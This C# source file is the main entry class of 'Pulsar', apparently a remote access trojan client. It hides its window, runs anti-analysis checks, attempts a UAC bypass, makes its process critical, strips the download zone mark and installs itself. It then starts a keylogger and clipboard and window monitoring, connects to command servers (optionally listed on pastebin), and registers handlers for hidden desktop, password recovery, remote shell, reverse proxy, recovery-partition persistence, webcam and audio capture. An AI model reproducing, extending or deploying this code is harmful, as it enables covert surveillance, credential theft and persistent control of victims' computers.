using Pulsar.Client.Anti; using Pulsar.Client.Config; using Pulsar.Client.Helper.UAC; using Pulsar.Client.Logging; using Pulsar.Client.LoggingAPI; using Pulsar.Client.Messages; using Pulsar.Client.Networking; using Pulsar.Client.Setup; using Pulsar.Client.User; using Pulsar.Client.Utilities; using Pulsar.Common.DNS; using Pulsar.Common.Helpers; using Pulsar.Common.Messages; using Pulsar.Common.Messages.ClientManagement; using Pulsar.Common.UAC; using System; using System.Collections.Generic; using System.Diagnostics; using System.Security.Principal; using System.Text; using System.Linq; using System.Threading; using System.Windows.Forms; namespace Pulsar.Client { /// /// The client application which handles basic bootstrapping of the message processors and background tasks. /// public class PulsarApplication : Form { /// /// Static reference to the current application instance. /// public static PulsarApplication Instance { get; private set; } /// /// A system-wide mutex that ensures that only one instance runs at a time. /// public SingleInstanceMutex ApplicationMutex; /// /// The client used for the connection to the server. /// private PulsarClient _connectClient; /// /// List of to keep track of all used message processors. /// private readonly List _messageProcessors; /// /// The background keylogger service used to capture and store keystrokes. /// private KeyloggerService _keyloggerService; /// /// Keeps track of the user activity. /// private ActivityDetection _userActivityDetection; private ActiveWindowChecker _activeWindowChecker; private ClipboardChecker _clipboardChecker; private DebugLog _debugLog; private bool _deferredProcessorsRegistered; private static readonly string[] SharpDxAssemblies = { "SharpDX", "SharpDX.Direct3D11", "SharpDX.Direct2D1", "SharpDX.DXGI", "SharpDX.D3DCompiler", "SharpDX.Mathematics" }; private static readonly string[] WebcamAssemblies = { "AForge", "AForge.Video", "AForge.Video.DirectShow" }; private static readonly string[] AudioAssemblies = { "NAudio.Core", "NAudio.Wasapi", "NAudio.WinForms", "NAudio.WinMM" }; /// /// Gets the clipboard checker instance. /// public ClipboardChecker ClipboardChecker => _clipboardChecker; /// /// Determines whether an installation is required depending on the current and target paths. /// private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; /// /// Notification icon used to show notifications in the taskbar. /// private readonly NotifyIcon _notifyIcon; /// /// Initializes a new instance of the class. /// public PulsarApplication() { Instance = this; _messageProcessors = new List(); _notifyIcon = new NotifyIcon(); } /// /// Starts the application. /// /// An System.EventArgs that contains the event data. protected override void OnLoad(EventArgs e) { Visible = false; ShowInTaskbar = false; Run(); base.OnLoad(e); } /// /// Begins running the application. /// public void Run() { // decrypt and verify the settings if (!Settings.Initialize()) Environment.Exit(1); DeferredAssemblyManager.Initialize(); ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // check if process with same mutex is already running on system if (!ApplicationMutex.CreatedNew) Environment.Exit(2); Manager.StartAnti(); if (Settings.UACBYPASS && !UAC.IsAdministrator()) { Debug.WriteLine("Attempting UAC bypass..."); Bypass.DoUacBypass(); Environment.Exit(5); } if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator()) { Debug.WriteLine("Setting process as critical..."); NativeMethods.RtlSetProcessIsCritical(1, 0, 0); } FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); var installer = new ClientInstaller(); if (IsInstallationRequired) { // close mutex before installing the client ApplicationMutex.Dispose(); try { installer.Install(); Environment.Exit(3); } catch (Exception e) { Debug.WriteLine(e); } } else { try { // (re)apply settings and proceed with connect loop installer.ApplySettings(); } catch (Exception e) { Debug.WriteLine(e); } if (Settings.ENABLELOGGER) { DeferredAssemblyManager.RunWhenAvailable( new[] { "Gma.System.MouseKeyHook" }, () => { try { if (_keyloggerService != null) { return; } if (!DeferredAssemblyManager.TryEnsureAssembliesLoaded("Gma.System.MouseKeyHook")) { Debug.WriteLine("Keylogger dependencies not yet available; deferring start."); return; } _keyloggerService = new KeyloggerService(); _keyloggerService.Start(); } catch (Exception ex) { Debug.WriteLine($"Failed to start keylogger: {ex.Message}"); } }); } PulsarClient client; string hosts = Settings.HOSTS; if (Settings.PASTEBIN && (hosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || hosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase))) { Debug.WriteLine("Using pastebin mode with URL: " + hosts); var hostsManager = new HostsManager(hosts); client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE); } else { Debug.WriteLine("Using standard host list mode"); var hostsList = new HostsConverter().RawHostsToList(hosts); var hostsManager = new HostsManager(hostsList); client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE); } _connectClient = client; _connectClient.ClientState += ConnectClientOnClientState; InitializeMessageProcessors(_connectClient); _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); _activeWindowChecker = new ActiveWindowChecker(_connectClient); _clipboardChecker = new ClipboardChecker(_connectClient); UniversalDebugLogger.Initialize(_connectClient); _debugLog = new DebugLog(); new Thread(() => { // Start connection loop on new thread and dispose application once client exits. // This is required to keep the UI thread responsive and run the message loop. _connectClient.ConnectLoop(); Environment.Exit(0); }).Start(); } } [System.Runtime.CompilerServices.MethodImpl( System.Runtime.CompilerServices.MethodImplOptions.NoInlining | System.Runtime.CompilerServices.MethodImplOptions.NoOptimization)] private void ConnectClientOnClientState(Networking.Client s, bool connected) { if (connected) { _notifyIcon.Text = "Pulsar Client\nConnection established"; string currentWindowTitle = GetCurrentWindowTitle(); _connectClient.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle }); } else _notifyIcon.Text = "Pulsar Client\nNo connection"; } /// /// Gets the title of the currently active window. /// /// The title of the active window. private string GetCurrentWindowTitle() { const int nChars = 256; StringBuilder buff = new StringBuilder(nChars); IntPtr handle = NativeMethods.GetForegroundWindow(); if (NativeMethods.GetWindowText(handle, buff, nChars) > 0) { return buff.ToString(); } return null; } /// /// Adds all message processors to and registers them in the . /// /// The client which handles the connection. /// Always initialize from UI thread. private void InitializeMessageProcessors(PulsarClient client) { RegisterProcessor(new DeferredAssemblyHandler()); RegisterProcessor(new CommandHandler()); RegisterProcessor(new PreviewHandler()); RegisterProcessor(new PingHandler()); RegisterProcessor(new QuickCommandHandler()); RegisterProcessor(new HVNCHandler()); RegisterProcessor(new ClientServicesHandler(this, client)); RegisterProcessor(new FileManagerHandler(client)); RegisterProcessor(new KeyloggerHandler()); RegisterProcessor(new MessageBoxHandler()); RegisterProcessor(new ClipboardHandler()); RegisterProcessor(new FunStuffHandler()); RegisterProcessor(new PasswordRecoveryHandler()); RegisterProcessor(new RegistryHandler()); RegisterProcessor(new RemoteShellHandler(client)); RegisterProcessor(new ReverseProxyHandler(client)); RegisterProcessor(new ShutdownHandler()); RegisterProcessor(new StartupManagerHandler()); RegisterProcessor(new SystemInformationHandler()); RegisterProcessor(new TaskManagerHandler(client)); RegisterProcessor(new TcpConnectionsHandler()); RegisterProcessor(new WebsiteVisitorHandler()); RegisterProcessor(new RemoteScriptingHandler()); RegisterProcessor(new RemoteChatHandler()); RegisterProcessor(new WinREPersistenceHandler()); ScheduleDeferredMessageProcessors(client); } private void RegisterProcessor(IMessageProcessor processor) { if (processor == null) { return; } bool shouldRegister; lock (_messageProcessors) { shouldRegister = !_messageProcessors.Contains(processor); if (shouldRegister) { _messageProcessors.Add(processor); } } if (shouldRegister) { MessageHandler.Register(processor); } } private void ScheduleDeferredMessageProcessors(PulsarClient client) { DeferredAssemblyManager.RunWhenAvailable( DeferredAssemblyManager.SecondaryAssemblies, () => { Action registerAction = () => RegisterDeferredMessageProcessors(client); try { if (InvokeRequired) { BeginInvoke((Action)registerAction); } else { registerAction(); } } catch (Exception ex) { Debug.WriteLine($"Failed to schedule deferred message processors: {ex.Message}"); } }); } private void RegisterDeferredMessageProcessors(PulsarClient client) { if (_deferredProcessorsRegistered) { return; } _deferredProcessorsRegistered = true; try { DeferredAssemblyManager.TryEnsureAssembliesLoaded(SharpDxAssemblies); DeferredAssemblyManager.TryEnsureAssembliesLoaded(WebcamAssemblies); DeferredAssemblyManager.TryEnsureAssembliesLoaded(AudioAssemblies); } catch (Exception ex) { Debug.WriteLine($"Deferred assembly load error: {ex.Message}"); } RegisterProcessor(new RemoteDesktopHandler()); RegisterProcessor(new RemoteWebcamHandler()); RegisterProcessor(new AudioHandler()); RegisterProcessor(new AudioOutputHandler()); } /// /// Disposes all message processors of and unregisters them from the . /// private void CleanupMessageProcessors() { List processorsCopy; lock (_messageProcessors) { processorsCopy = new List(_messageProcessors); _messageProcessors.Clear(); } foreach (var msgProc in processorsCopy) { MessageHandler.Unregister(msgProc); if (msgProc is IDisposable disposableMsgProc) { disposableMsgProc.Dispose(); } } } protected override void Dispose(bool disposing) { if (disposing) { CleanupMessageProcessors(); _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); ApplicationMutex?.Dispose(); _connectClient?.Dispose(); _notifyIcon.Visible = false; _notifyIcon.Dispose(); _debugLog?.Dispose(); // Dispose DebugLog } base.Dispose(disposing); } } }